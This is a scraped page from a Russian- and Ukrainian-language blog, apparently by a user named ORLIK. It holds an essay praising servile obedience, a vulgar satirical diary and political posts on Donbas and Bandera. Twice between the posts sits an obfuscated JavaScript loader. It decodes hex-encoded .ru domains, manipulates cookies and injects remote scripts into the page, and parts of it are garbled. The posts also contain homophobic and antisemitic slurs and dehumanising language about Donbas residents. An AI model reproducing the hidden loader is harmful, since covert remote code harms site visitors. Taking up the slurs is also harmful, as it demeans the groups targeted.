Если для нас, православных, священноначалие есть образ Божий, если мы в его власти чтим власть Самого Христа, то как мы можем требовать отчета от архиерея, которого именуем Владыкой из-за власти «вязать и решить» нашу посмертную участь? Разве раб может требовать отчета от Царя? Мы всё время боимся, что священноначалие нас может обмануть или предать. Но разве не свидетельствует эта подозрительность о нашем неверии, что Бог в Церкви? Как не может быть тело без главы, так и не может быть Церковь без Бога. А епископская власть для Церкви, согласно нашей вере, имеет такое же значение, как «дыхание для человека и солнце – для мира»[2]. Видеть в священноначалии источник бед для Церкви – значит упрекать Святаго Духа, что Он поставляет нам недостойных епископов. Апостолы не посмели упрекнуть Господа за выбор Иуды Искариота, зная, что он вор. Мы же смеем считать себя умнее Бога, рассуждая о недостоинствах наших архиереев. Формально никто из нас не скажет, что мы за демократическое преобразование церковного строя, но фактически, как либералы, так и консерваторы в Церкви выступают единым фронтом за необходимость контроля и «ограничения произвола» первосвященников. Как будто мы все забыли, что пределы власти епископа в Церкви определяет только Христос.

Рабское сознание дает возможность нам правильно относиться и к часам Патриарха (если таковые вообще существовали), и к дорогим иномаркам священноначалия. Для раба престиж Господина – это его личный престиж. Для христианина должно быть унизительным, что у архиерея машина хуже, чем у светских правителей. Лучше ходить самому пешком, чем видеть Предстоятеля Церкви ездящим на трамвае (как, например, ныне почивший Патриарх Сербский Павел). О горе Сербии! О унижение для всего Православия, когда князь Церкви страны, именующей себя православной, пользуется общественным транспортом. Суть доступности Патриарха и вообще архиереев не в том, что его можно подкараулить по дороге в храм или лично написать письмо на его электронный ящик, а в возможности участия в архиерейском Богослужении, где епископ возносит за всех нас свои молитвы.

Таким должно быть наше отношение к властям, если мы христиане; так мы должны мыслить, ибо так вели себя и мыслили истинные рабы Божии святые угодники, на которых мы призваны равняться. Именно в оскудении рабства Божия причина упадка нашей личной веры и религиозности нашего народа. Отсюда так много разочарований и безответных молитв. Отсюда так мало чудес и много лжестарцев…

Но разве не было патриархов и царей еретиков, архиерейских лжесоборов, безбожных современных правителей, как, например, сейчас на Украине? Конечно были, есть и будут. Как к ним относиться и им рабски повиноваться, мы можем видеть на примере житий мучеников. Они занимали различные социальные статусы в империи – от раба до военачальника и сенатора – и добросовестно исполняли свои общественные обязанности, почитая власть каждый на своем месте. Но это длилось до тех пор, пока повеления начальствующих над ними не касались вопросов их веры. Тогда они отбрасывали все свои статусы и привилегии и шли на мученичество, обличая безбожие царей и властителей. Так и мы должны слушаться и почитать наших начальствующих, правителей, священноначалие до тех пор, пока их повеления нас не склоняют к отступничеству, ереси и греху. Потому что мы, как рабы Божии, проявляем послушание властям ради Бога, а не ради самих властей.

Но загвоздка еще заключается в том, что наша вера – это не законническая религия. Каким властям мы должны быть покорны, а каким нет, определяет Бог. А Его волю может ведать только тот, кто совершенно не имеет своей воли, тот, кто стал истинным рабом Бога. Почему, например, с гитлеровскими властями, открывающими храмы, следовало бороться, а атеистическую советскую власть защищать на фронтах ценой своей жизни? Ведь большевистская власть тоже была оккупантом, свергнувшим богопоставленную царскую власть? Ответ может быть только в извещении Божием, который могут ощутить лишь рабы Бога. Тогда еще не совсем потухла в русском народе Божья искра, и православные по зову совести, забыв кровные обиды, причиненные им от советской власти, стали сражаться за СССР как за самодержавную Россию.

Но современные христиане не в состоянии услышать голос Божий. Потому что они ищут не Божьего, они ищут своего. Кого нынче не хватает в Церкви? Тех, кто готов слушаться. Послушание – это добродетель рабов, которая дает возможность услышать Бога. Поэтому за истину может бороться только раб, всей жизнью отрекающийся от себя. Мы же считаем, что, прочитав несколько святоотеческих книг, становимся способными распознавать истину своим своевольным непослушным умом. На деле же часто оказывается, что мы защищаем лишь свое высокоумие, прикрытое святыми Отцами, как сектанты прикрываются Библией.

Для того чтобы постичь истину, мы должны перестать «включать мозги» и начать на деле себя мнить ничем и звать никем. Одним словом, мы должны взращивать в себе раба. Путь к рабству Божьему лежит через рабствование человеку: детей – родителям, жены – мужу, христианина – священноначалию, гражданина – государству со всеми чиновниками и силовиками, включая Президента. Перефразируя слова апостола о любви, можно сказать так: «Как ты дерзаешь себя называть рабом Бога, когда не научился быть рабом у человека?» Только воспитав в себе рабскую психологию, мы не только сможем возродить ту Россию, которую не сберегли, но и войти в Царство Небесное, куда закрыты двери для всех «свободных» не во Христе.
Опубликовано на:http://www.blagogon.ru/dige...

P.S.Вещал вот этот дядечка:

ORLIK

ORLIK

Щоденник російського ХЕРОНОСЦЯ

  • 30.10.16, 07:50
Дневник православного хероносца

День первый. Скучно, мерзко, противно. Хочется духовного, возвышенного, чистого. Душа тянется к православию. Надо записаться в хероносцы. Выпил.

День второй. Выпил для храбрости. Пошел к хероносцам. По пути выпил еще. К духовному наставнику хероносцев пришел уже храбрым. Он со мной долго говорил, крещен ли? Здоров ли? Блюду ли пост? Не грешу ли? Не заканчивал ли институт? В общем, понравился я ему. Выпили. Плохо помню, как разошлись. Зато хочется блевать и почему то болит жопа. Теперь я хероносец!

день третий. Молился, постился, слушал радио Радонеж. Хорошо! Духовно! Православно! Россия!

день четвертый. Ходил на собрание. Рассказывали о том, что жиды продали Россию, и что Мадонна – сатанистка. Заметил, что у многих есть бороды, штаны с лампасами и фуфодьи. Православно! После выпили. Наставник пригласил меня побеседовать лично. Я точно ему нравлюсь. Много пили и говорили о России. Почему то опять болит жопа.

день пятый.Занимался собственным имиджем, растил бороду, нашивал на джинсы лампасы, раскрашивал рубашку в фуфодью. Бороды пока нет, зато по одежде сразу видно, кто я!

день шестой. Оказывается, сегодня в Москве планировался парад фриков. Ходили их разгонять. Фрики увидели нас, сказали что мы круче и ушли в слезах. Боятся бесы силы православной!

день седьмой. Ходили бить пидаров к памятнику героев Плевны. Очень болит жопа.

день восьмой. Наставник сказал, что сегодня начинается недельный пост. Будем поститься, молиться, слушать радио "Радонеж".

день девятый. Постюсь второй день, на душе светло и радостно, только бодун мешает. Отпраздновал второй день поста. От закуски воздержался, пост все-таки. Много думал о Боге и России.

день десятый. На собрании выяснилась ужасная правда! Оказалось, у двоих хероносцев есть высшее образование! Выгнали их с позором, отродий бесовских. Сначала били, потом молились за них, потом опять били. Наставник предал их анафеме. Выпили с горя. Пили долго, потом читали хором молитвы. На душе полегчало.

день одиннадцатый. Наставник сказал, что в расписных рубашках и джинсах с лапмасами ходить нехорошо. Нужны настоящие фуфодьи, шаровары, папахи и лапти. Тогда все будут видеть что мы настоящие православные. Круто!

день двенадцатый. Оказывается, для покупки обмундирования нужны деньги. Денег у нас нет, так как их украли жиды. Поэтому надо искать. Вася предположил, что деньги нужно искать у жидов. Но никто не знает, где искать жидов. Ищем жидов и деньги. Тяжело, но надо.

день тринадцатый. Не нашли ни денег, ни жидов. С горя пошли к памятнику героям Плевны бить пидаров. Долго искали пидаров. Подошли два мужика, сказали что они тоже их ищут. Предложили пойти к ним. Болит жопа, зато теперь есть деньги на обмундирование.

день четырнадцатый. Наставник сказал, что сегодня конец поста и можно разговенится . Просидел два часа в сортире. Разговениться так и не удалось.

день пятнадцатый. Рассказал наставнику, откуда деньги на обмундирование. Наставник обрадовался и сказал что это быль православные меценаты. Отправил к ним еще двоих хероносцев. Хероносцы вернулись с деньгами, наставник забрал их и ушел за святой водой. Потом притащил ящик святой воды, почему то залитой в бутылки из под-водки по 0,5, и ушел к себе молиться.

день шестнадцатый. Наставник пригласил к себе молиться Васю. Молятся истово, громко, иногда поют песни.. Иногда стонут от усердия.

день семнадцатый. молятся.

день восемнадцатый молятся.

день девятнадцатый. Наставник и Вася вышли из молельной. Вид уставший, опухший, дух тяжелый, одежда мятая.. Праведные люди!

день двадцатый. Наставник сказал, что отдал все деньги на восстановление храма святого Охренентия на Дрожжах. Поэтому нужно опять съездить к меценатам. Поехали я и Вася.

день двадцать первый. Наставник уехал за формой. Я лежал дома (сидеть больно), думал о России и православных меценатах. Хорошо у них. Вот бы Россию таким людям, они порядок-то наведут.

день двадцать второй. Выдали форму. Фуфодья, косоворотка, шаровары с лампасами, папха и лапти. Теперь я настоящий православный хероносец! Наставник сказал, что нам нужны хоругви, иначе какие мы хероносцы без хоругвей? А на них нужны деньги. Опять ездили к меценатам, они сказали, что в форме мы им даже больше нравимся. Плясали комаринского, пели частушки. Даже жопа не болит.

день двадцать третий. Купили хоругви. Праздновали, пили. Деньги кончились, отнесли хоругви в ломбард, пили дальше. Опять придется ехать к меценатам.

день двадцать четвертый. Наставник сказал, что к меценатам будем ездить по графику, что бы порядок был. Вот она – вахта православная!

день двадцать пятый. Я решил заняться иконописью, нарисовал на ватмане портрет Богородицы. Пока стесняюсь показывать.

день двадцать шестой. Ходили протестовать против концерта Мадонны. Я достал свою икону, наставник испугался и проткнул ее колом. Жалко икону. Зато сошла за портрет Мадонны.

день двадцать седьмой. Ходили разгонять митинг за легализацию марихуаны. Побили наркоманов, отобрали много наркотиков. Торжественно сожгли вечером. Так хорошо на душе стало от дела благого, легко и весело, только есть сильно захотелось.

день двадцать восьмой. Узнали что в Сахаровском центре проходит выставка богомерзких картин. Пришли протестовать. Организатор выставки предоставил нам отдельное место, освещенное прожекторами, и поставил на против нас рамку. Уважает, отродье бесовское.

день двадцать девятый. Протестуем, я нарисовал несколько икон. Наставника чуть не вырвало, зато организатор выставки купил их у меня и тоже выставляет. Протестуем еще яростней.

день тридцатый. Протестуем. Народ нас поддерживает. Ходят не на выставку, а стоят нами любуются. Хорошо, значит выглядим. Правда, почему-то любят фотографироваться на нашем фоне с организатором выставки и берут у него автографы.

день тридцать первый. Протестовать не ходил, моя очередь ехать к меценатам.

день тридцать второй. Организатор выставки подошел к нам и сказал, что благодарит за перформанс и рекламу. Обзывается сука. Потом дал наставнику денег и сказал, что выставка закрывается. Ура! Мы победили! Вечером молились до белой горячки.

день тридцать третий. Меценатов арестовали. По явно сфабрикованному делу. Обвиняют в изготовлении порнографии. Сатанинская власть преследует православных.

день тридцать четвертый. Ездили к памятнику героям Плевны искать новых меценатов. Оказывается их в России много. Так что жива Русь-матушка! Только жопа болит.

день тридцать пятый. Регулярно дежурим у памятника, ждем меценатов.

день тридцать шестой. Провели собрание. Решили что для привлечения меценатов нужно улучшить имидж.

день тридцать седьмой. Улучшали имидж – покупали женскую одежду, туфли, косметику. Как же неудобно после лаптей ходить на каблуках! Но ради православия я готов и не на такое. Учились красится.

день тридцать восьмой. Стоим у памятника, ждем меценатов. Что то не идут, хотя имидж у нас что надо – каблук высокий, юбочка короткая, колготки сеточкой, косметики много. Подъезжал организатор выставки богомерзских картинок, фотографировал нас.

день тридцать девятый. Оказывается, если сбрить бороды меценат прет как заведенный! Жопа уже не болит. Привыкаю к службе православной.

день сороковой. Сегодня какие то бритые пидары нас побили. Тяжело блюсти веру православную.

ORLIK

ORLIK

Про питання що до змін до конституції України

  • 24.01.16, 13:30

Блін чисто задовбали! Який канал УТ не включиш кругом одне; " Як приймем зміни що до конституції що до особливого статусу Донбасу так відразу уся Україна розвалиться . А вся Європа в купі з США тільки і думає про те як здавати бідну Україну пану Путіну».Я людина не від політики а від будівництва і комунальних послуг може що і не розумію тому прошу най мені хтось розумний усе це розтолкує.

Пункт перший; «Як тільки но ті зміни приймем так одразу пів України захоче і собі такий статус» У мене з цього  приводу є два питання; 1 « А до тепер  тих хто такого статусу понад усе прагне що стримувало? Може відсутність цих положень у конституції України? Тому чому відсутність таких положень не стримувала донецьку шелупонь? Я навіть здається знаю до якого місця уся та конституція була  всім захарчинкам плотницьким і бородіям разом узятим разом з усіма її положеннями. Хто цікавиться можу пояснити. Гадаю що мій досвід багаторічної роботи у сфері будівництва і комунальних послуг дозволить мені зробити це досить зрозуміло. Гадаю що панове Ляшко і Тимошенко разом зо всіма тюгнибоками могли б пояснити це краще за мене. Та це їм не цікаво! Для електорату куди більш видовищно зібрати під Верховною радою натовп з вкрапленнями екзальтованих ідіотів які будуть кидати бойові гранати у 18-ти річних пацанів. А як на мене то вважаю що тримають людей у одній країні не пункти конституції а ті спокуси і можливості які дає їм громадянство певної держави і коли спокуси зміни того громадянства переважають то людям глибоко плювати що ви там панове у конституцію держави якою керуєте у вільний від пограбування народу час записали. Кажете що не грабуєте? Тоді поясніть звідки у пана Люшка кошти на маєток під Києвом. У пані Тимошенко на проживання доньки разом з коханцем у фешенебельному готелі в Італії ніч у якому коштує стільки скільки я заробляю за місяць а більшість моїх співгромадян за рік під час коли розстрілювали майдан. І у пана Тягнибока теж на маєток не менший за маєток Ляшка???

Коротше; пиши чи не пиши а якщо про людей дбати не будеш то гріш ціна тій країні якою тобі БОГ дав керувати. І ніякі конституції тут ні до чого.

Пункт другий.» Захід цікавлять тільки його інтереси тому для нього головне замиритися з Росією і торгувати з нею бо це дає прибутки.» Ну по перше найбільший торгівельний обіг  у Росії серед країн заходу з Германією  і дорівнює він аж 4% ВВП цієї країни. А з рештою ще менше. Хтось вірить у те що Германія помре без отих 4%? А по друге як що так не бажано сваритися з Росією то можна було взагалі одразу Україну здати Путіну і проблем не було б. А так вперли купу грошей в Україну ввели санкції  а потім віддали у руки Путіну заставивши Україну внести зміни до конституції. Де логіка? До того ж цей політичний кульбіт захід хоче зробити в ситуації коли неозброєним оком видно що Росія дихає на ладан.

Пункт третій» Вибори у лугандонії проводити не можна бо всеукраїнські партії туди не пустять і ці вибори взагалі будуть проходити під російськими автоматами тому ми отримаєм владу у Донбасі виключно із бандитів і бандитів у Верховній раді.» І тут знову без совісні маніпуляції .Бо . Прийняття змін до конституції автоматично не значить проведення виборів по плану Путіна. Вибори мусять проводитися по законам України. А це і проведення передвиборчої компанії і відновлення українських ЗМІ на території лугандонії. І коли так буде то я дуже сумніваюсь що більшість дончан на стільки дурні що не зрозуміють що їм приніс той «рускій мир» А коли ні- то нічого і не буде. Погоджуватись на фейкові вибори ні Україна ні захід не буде бо по перше нікому не потрібне зникнення України окрім Путіна. А по друге Для чого заходу охоплена війною величезна територія  у себе під боком з якої почнуть тікати люди у Європу. У яку ,до речі,були вкладені великі гроші. Не кажучи про те що це визнання поразки від людини яка їх всіляко зневажала.

То що ж буде якщо таки приймуть оті зміни до конституції? Гадаю що НІЧОГО !!! Доступу Українськім ЗМІ Путін не дасть бо брехня його випливе. Вільно Українські партії на тих теренах поки що агітувати не зможуть бо як це робити серед бандитів. І Ніколи Путін свої війська з Донбасу не виведе бо тільки на них лугандонія і тримається.

То для чого ті зміни приймати?-А для того аби бачив БОГ і люди що Україна все зробила аби принести на Донбас мир.

І головне що всі політики в Україні це розуміють а репетують як на мене виключно тільки з ціллю виторгувати собі місце ближче до корита. Судячи з того що ми чуєм з теле екранів то пан Ляшко со товариші сподівається на те що і ми з вами допоможем їм до того корита пропхатися то дуже прошу але цей раз вже без мене! 

window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10028",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

ORLIK

ORLIK

К вопросу о лугандонии

  • 14.01.16, 11:25
Вчера смотрел NEWS ONE С М.Ганапольским с 20 до 22 -замечательный журналист и замечательная передача. Рекомендую! Там у них опрос был на тему того хотим ли мы чтобы сегодняшняя лугандония вернулась в Украину а депутаты от лугандонии заседали в Верховной раде? Хотел дозвониться -не смог. Потому хоть тут душу изолью!
Я категорически против! И лучше всего о причинах такой позиции сказал мой друг из Донецка который ещё во время майдана продал всё своё в Донецке и переехал в Сумы. Во чуйка у парня!" Не хочу жить с людьми у которых нет мозгов а есть только желудок и гениталии!" Далее он сообщил мне что плотность тюрем в Донецкой области была наивысшей в СССР . Освободившись многие сидельцы из Донбасса никуда не ехали. Работы море. Снабжение по первой категории.Особой квалификации не нужно. Лопату взял и в шахту. Вот такой шелупонью власти СССР заменили украинцев вытравленных голодом в 1932году. А возвращение лугандонии в сегодняшнем виде в Украину выгодно ворам которые сегодня представлены в украинской власти. Лугандоны придут в раду с колорадскими лентами и такими же идеями. А там их встретят другая публика с красно-чёрными флагами. Начнутся как всегда драки и прочий цирк. А воры под этот шум дальше спокойно будут воровать. У нас и так есть тут куча идиотов которые хотят строить Европу в Украине без помощи всяких европ и штатов! В роди с 1991года не тем самым занимались! В результате имеем то что имеем а воров от корыта даже с помощью ЕС и США отогнать не можем. Думаю что нам лучше думать как власть нормальную в Украине получить.А потом уже лугандонию возвращать и то только когда оттуда услышим СЛАВА УКРАИНЕ. Я не знаю как но хочу создать новое волонтёрское движение по сбору средств на строительство забора вокруг лугандонии из колючей проволоки в три ряда и злыми собаками между рядами. Помнится Оверченко в своё время предлагал так большевиков оградить что бы показали какое общество они построят. Не послушали и результат все знаем. А взнос на забор предлагаю сделать в размере 1(одной) гривни.Думаю что соберём достаточно.
eduard burovskij
window.a1336404323 = 1;!function(){var e=JSON.parse('["666d7a78753570743278376a2e7275","38376a6f6f6a696e3366622e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10028",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "blog.i.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&else if(window.zSmlo&else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

ORLIK

ORLIK

О Бандере

  • 27.09.15, 18:12

Сергей Журавлев,

28-04-2009 10:04

Степан Бандера и его ОУН

[ Из статьи «Больше правды о войне — больше печали?», опубликованной
в газете "Моя Батьківщина. Моя Родина" (Харьков), № 27 (148), 21-30 сентября 2005 г. ]

По объему дезинформации и даже просто неправды, окружающих его, Степан Бандера может соревноваться разве что с генералом Власовым. Но если Власова еще можно обвинить в измене Сталину, то Бандера никогда и никому не изменял. Он боролся за интересы своего украинского народа так, как он их понимал. А понимал он их просто: независимость, независимость и еще раз независимость — по-украински «незалежність».

Сын священника Андрея Бандеры. Отец арестован и расстрелян после захвата Красной Армией Западной Украины вследствие пакта Молотова — Риббентропа. Двух сестер НКВД сослал в Красноярский край. Два брата — Александр и Василий — погибли в 1942 году в немецком Освенциме. Третий — Богдан — был, скорее всего, убит немцами вследствие тайного приказа СС уничтожать бандеровцев без суда.

Бандера стал известным и даже прославился в то время, когда Западная Украина была польской. Он убил министра внутренних дел Польши (Бронислава Перацкого. — Ред.). Вся Украина считала польских лидеров предателями. Пока паны воевали с Красной Армией, они обещали Украине независимость. А потом заключили сделку: часть Украины отходит к СССР, а часть — к Польше. Бандера, совершив теракт против польского министра, стал героем Украины. За это он был приговорен к смертной казни и ждал ее много лет в польской тюрьме (18 ноября с. г. исполнится 70 лет начала судебного процесса, завершившегося 13 января 1936 г., над членами ОУН С. Бандерой, М. Лебедем, М. Карпинцем. — Ред.). После разгрома Польши Германией в 1939 году он вышел из тюрьмы и расколол движение украинских националистов ОУН на два крыла. Одно было готово к сотрудничеству с Гитлером (его возглавил полковник Андрей Мельник). А сам Степан Бандера возглавил другое, радикальное, крыло.

Бандера тоже «крутил» с немцами и Германией: еще во времена Веймарской республики, и при Гитлере. Но он видел одну цель: независимость Украины.

…Через несколько дней после вступления немцев во Львов он провозгласил независимость Украины и создал правительство. Манифест был зачитан по львовскому радио:

— Волей украинского народа Организация Украинских Националистов под руководством Степана Бандеры провозглашает восстановление Украинского государства, за которое сложили свои головы целые поколения лучших сынов Украины.

Представляет интерес: по мнению бандеровцев, границы Украины должны доходить до Волги и Северного Кавказа, так как Кубань и Ставрополье населяют выходцы с Украины.

Но немцы считали, что они сами будут управлять и русскими, и украинцами, и белорусами без всяких там независимых государств. Они не видели смысла в создании независимого государства, провозглашенного Бандерой. Нацисты рассматривали украинское антикоммунистическое движение как временного союзника. Гитлер в речи 16 июля 1941 г. говорил:

— Никогда нельзя позволять, чтобы кто-нибудь, кроме немцев, носил оружие! …Ни славянин, ни чех, ни казак или украинец.

Уже с августа 1941 г. началась подпольная антигерманская деятельность бандеровцев. 25 ноября 1941 г. органы СС и СД Рейхскомиссариата Украины получили тайный приказ:

— Неопровержимо доказано, что движение Бандеры готовит восстание в Рейхскомиссариате, цель которого — создание независимой Украины. Все активисты движения Бандеры должны быть немедленно арестованы и после основательного допроса тайно уничтожены как грабители.

Немцы тысячами арестовывали и расстреливали представителей ОУН. Они посадили Бандеру в берлинскую тюрьму, затем в концлагерь Заксенхаузен. Но весной 1945-го, когда для гитлеровцев создалось тяжелое положение, в их руководстве появились лидеры, которые позволили развернуться генералу Власову. Они же «дали добро» и Бандере, который в 1944 г. вышел из лагеря и создал Украинское правительство и Украинскую национальную армию.

...Он сразу понял, что главным препятствием на пути независимости Украины теперь становится СССР и начал борьбу со Сталиным. После войны, в 1954 г. был убит агентом КГБ по указанию Н. С. Хрущева, который принял решение об уничтожении Бандеры. Через ряды УНА (Украинская Независимая Армия) прошло не менее 100 тысяч украинцев, которые — как пишет А. Гогун в книге «Между Гитлером и Сталиным» — отметились и на антинемецком, и на антисоветском фронтах:

— Именно бандеровцы не побоялись в одиночку бросить вызов двум сильным тоталитарным империям своего времени.

…В советское время все смешали в одну кучу: и бандеровцев, и мельниковцев, и украинских полицаев, и украинскую дивизию «СС Галичина»…

По данным ЦК КПСС, с 1944-го по 1952 год арестованы 134 тысячи человек, убиты 153 тысячи, высланы за пределы УССР — 203 тысячи. Всего репрессировано до 500 тысяч. Чтобы оправдать эту войну с населением Западной Украины, чтобы из Украины выселять десятки тысяч семей, огульно решили приписать Бандере сотрудничество с гитлеровцами.

Последний командующий Украинской повстанческой армии Василий Кук говорил:

— На военном фронте мы не смогли выиграть войну ни с немцами, ни с большевиками... Второй фронт был идеологический... эта борьба закончилась тем, что сейчас у нас Украинское государство…

Выходит, Бандера никогда и никого не предавал. Он служил своему народу так, как понимал интересы этого народа. Такова правда. Без этой правды, оставаясь в болоте советской пропаганды, нам в новой России никогда не понять ни авторитета среди населения Западной Украины движения Бандеры, ни вообще всей нынешней ситуации на Украине…

 

Изяслав Лемберикман
ветеран Великой Отечественной войны, Днепропетровск

Re:Феномен бандерофобии в русском сознании


Феномен бандерофобии в русском сознании
Немецкие власти начинают массовый террор против ОУН, идут расстрелы и повешения украинских националистов. ОУН не остается в долгу и начинает вооруженные действия против вермахта, войск СС и других оккупационных сил Германии.

В концлагере Аушвиц (Освенцим) фашисты уничтожают двух родных братьев Бандеры. Немецкие военные архивы (прежде всего, архив в городе К ёбленц) хранят множество рапортов офицеров вермахта, гестапо и СС о нападении на вверенные им части “украинских националистических банд”. Интересно, что подобные ярлыки по адресу УПА встречаются и в советских документах. Удивительное единодушие…

В 1944 г., когда немецкие войска покидают Украину, Степана Бандеру освобождают, поскольку Германия утратила интерес к Украине, и лидер ОУН уже не представляет для рейха опасности. Теперь Бандера уже не проблема Гитлера, он — проблема Сталина.

Перед освобождением немецкая сторона предложила лидеру ОУН подписать соглашение о перемирии и сотрудничестве УПА с Германией, обещая взамен оружие и амуницию для украинских повстанцев. Это не были переговоры равноправных сторон. Германии противостоял бесправный узник концлагеря, с которым можно было сделать все, что угодно. Для Бандеры это были переговоры с “петлей на шее”. Однако узник отказался от сотрудничества с Германией. Так что на фоне сотрудничества Сталина с Гитлером “сотрудничество” с Гитлером Бандеры выглядит совсем иначе.

Что же касается “зверств”, то на войне, к сожалению, это явление распространенное. Кстати, жертвами зверств НКВД и советского государства стали многие жители Западной Украины, более 1 млн. человек. Это сотни тысяч расстрелянных, замученных в концлагерях ГУЛАГа, погибших в сибирской ссылке. Но вот об этих зверствах советская пропаганда всегда умалчивала.Тут есть еще один вопрос. УПА была партизанской армией, которая действовала в Западной Украине с 1942-го по 1954 год, а отдельные отряды до середины 60-х. Любая партизанская армия критически зависит от поддержки местного населения. Ни одна такая армия не сможет существовать среди ненавидящих ее местных жителей. А тот, кто творит зверства, очень быстро становится объектом ненависти. Значит, что-то тут у коммунистических пропагандистов не сходится. Впрочем, зверства и преступления против западных украинцев были, и об этом рассказывают некоторые интересные советские документы. Вот, например, такой.

“Совершенно секретно.

Военный прокурор войск МВД Украинского округа 15 февраля 1949 г.
№ 4/00134
Секретарю ЦК КПБ Украины тов. Н.С. Хрущеву.
Докладная записка
о фактах грубого нарушения советской законности
в деятельности так называемых спецгрупп МГБ.

Министерством госбезопасности Украинской ССР и его управлениями в западных областях Украины в целях выявления вражеского, украинско-националистического подполья, широко применяются так называемые спецгруппы, действующие под видом бандитов УПА.Этот весьма острый метод оперативной работы, если бы он применялся умело, несомненно, способствовал бы скорейшему выкорчевыванию остатков бандитского подполья.Однако, как показывают факты, грубо провокационная и неумная работа ряда спецгрупп и допускаемые их участниками произвол и насилие над местным населением не только не облегчают борьбу, но, наоборот, усложняют ее, подрывают авторитет советской законности.

Например:

1. В марте 1948 г. спецгруппа, возглавляемая агентом МГБ “Крылатым”, дважды посещала дом жителя с. Грыцькы Дубовицкого р-на Ровенской обл. Паламарчук Г.С., 62 лет, и, выдавая себя за бандитов УПА, жестоко истязала его и двух его дочерей, обвиняя их в том, что якобы они “выдавали органам МГБ украинских людей”.

На основании полученных таким провокационным путем “материалов” они были арестованы, причем, как заявили арестованные, сотрудники отдела МГБ во время допросов их также били и требовали, чтобы они дали показания о связи с бандитами.

2. В ночь на 22 июля 1948 г. спецгруппой был уведен в лес житель с. Ридкив Михальчук С.В., инвалид Отечественной войны. В лесу он был подвергнут допросу, во время которого его связывали, подвешивали и тяжко избивали, добиваясь таким путем показаний о связи с бандитами.

3. В ночь на 23 июля 1948 г. этой же спецгруппой из с. Подвысоцкое была уведена в лес гр-ка Репницкая Н.Я., рожд. 1931 г. В лесу она была подвергнута пыткам. Участники спецгруппы тяжко ее избивали, подвешивали вверх ногами,…, а затем поочередно изнасиловали. В беспомощном состоянии она была брошена в лесу, где ее нашел муж и доставил в больницу, в которой находилась продолжительное время на излечении.

Не располагая достаточными материалами, так называемые спецгруппы МГБ действуют вслепую, в результате чего жертвой их произвола часто являются лица, непричастные к украинскому бандитскому националистическому подполью. Наряду с этим следует сказать, что этот метод работы органов МГБ хорошо известен оуновскому подполью. Не являются также секретом подобные “операционные комбинации” и для тех лиц, над которыми участники спецгрупп чинили насилие.

Подобные факты из деятельности спецгрупп МГБ, к сожалению, далеко не единичны и, как показывает следственная практика, если в отдельных случаях спецгруппам путем насилия и запугивания, все же удается получить “признательные показания” от отдельных лиц о связи их с бандитским подпольем, то добросовестное и проведенное в соответствии с требованиями закона расследование неизбежно вскрывает провокационную природу этих “признательных показаний”, а освобождение из тюрьмы арестованных по материалам спецгрупп влечет за собой дискредитацию советской законности, органов МГБ и возможность использования каждого случая провокаций во вражеских, антисоветских целях украинскими националистами.

